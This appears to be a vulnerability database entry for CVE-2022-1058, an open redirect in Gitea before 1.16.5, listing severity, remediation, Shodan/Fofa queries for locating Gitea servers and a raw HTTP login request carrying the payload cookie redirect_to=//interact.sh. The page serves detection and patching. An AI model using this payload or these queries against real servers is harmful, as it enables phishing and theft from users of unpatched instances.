🔙 목록으로 돌아가기

CVE-2022-1058: Gitea <1.16.5 - Open Redirect

TitleGitea <1.16.5 - Open Redirect
Authortheamanrawat
SeverityMedium
ImpactAn attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information.
RemediationUpgrade Gitea to version 1.16.5 or later to fix the open redirect vulnerability.
CVSS Score6.1
EPSS Score0.23672
CVE IDCVE-2022-1058
CWE IDCWE-601
Shodan Querytitle:"Gitea"http.html:"powered by gitea version"http.title:"gitea"cpe:"cpe:2.3:a:gitea:gitea"
Fofa Querybody="powered by gitea version"title="gitea"
Tags cve cve2022 huntr open-redirect gitea vuln

🔍 Vulnerability Description

Gitea before 1.16.5 is susceptible to open redirect via GitHub repository go-gitea/gitea. An attacker can redirect a user to a malicious site and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET /user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Connection: close
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
Cookie: redirect_to=//interact.sh
Accept-Encoding: gzip

_csrf=eqT8CZ&user_name=HvQsqS&password=8QCePGWc

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1058.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-1058.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A